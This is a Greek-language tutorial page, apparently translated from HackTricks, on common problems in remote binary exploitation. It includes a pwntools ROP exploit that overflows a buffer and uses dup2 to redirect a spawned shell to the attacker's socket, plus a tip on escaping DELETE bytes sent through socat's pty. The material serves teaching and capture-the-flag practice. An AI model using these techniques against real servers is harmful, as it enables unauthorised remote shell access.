hacktricks/binary-exploitation/common-exploiting-problems.md

4.4 KiB
Raw Blame History

Συνηθισμένα προβλήματα εκμετάλλευσης

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team AWS του HackTricks)!

FDs στην Απομακρυσμένη Εκμετάλλευση

Όταν στέλνετε ένα εκμεταλλευτικό πρόγραμμα σε ένα απομακρυσμένο διακομιστή που καλεί το system('/bin/sh') για παράδειγμα, αυτό θα εκτελεστεί στη διαδικασία του διακομιστή φυσικά, και το /bin/sh θα περιμένει είσοδο από το stdin (FD: 0) και θα εκτυπώνει την έξοδο στο stdout και stderr (FDs 1 και 2). Έτσι ο επιτιθέμενος δεν θα μπορεί να αλληλεπιδρά με το κέλυφος.

Ένας τρόπος να διορθωθεί αυτό είναι να υποθέσουμε ότι όταν ο διακομιστής ξεκίνησε δημιούργησε τον αριθμό FD 3 (για ακρόαση) και ότι στη συνέχεια, η σύνδεσή σας θα βρίσκεται στον αριθμό FD 4. Επομένως, είναι δυνατό να χρησιμοποιηθεί η κλήση συστήματος dup2 για να διπλασιάσει το stdin (FD 0) και το stdout (FD 1) στο FD 4 (αυτό της σύνδεσης του επιτιθέμενου) έτσι ώστε να γίνει εφικτή η επικοινωνία με το κέλυφος μόλις εκτελεστεί.

Παράδειγμα εκμετάλλευσης από εδώ:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Σημειώστε ότι το socat μεταφέρει ήδη τα stdin και stdout στο socket. Ωστόσο, η λειτουργία pty περιλαμβάνει χαρακτήρες DELETE. Έτσι, αν στείλετε ένα \x7f (DELETE -) θα διαγράψει τον προηγούμενο χαρακτήρα της εκμετάλλευσής σας.

Για να παρακάμψετε αυτό, ο χαρακτήρας απόδρασης \x16 πρέπει να προηγείται κάθε \x7f που στέλνετε.

Εδώ μπορείτε να βρείτε ένα παράδειγμα αυτής της συμπεριφοράς.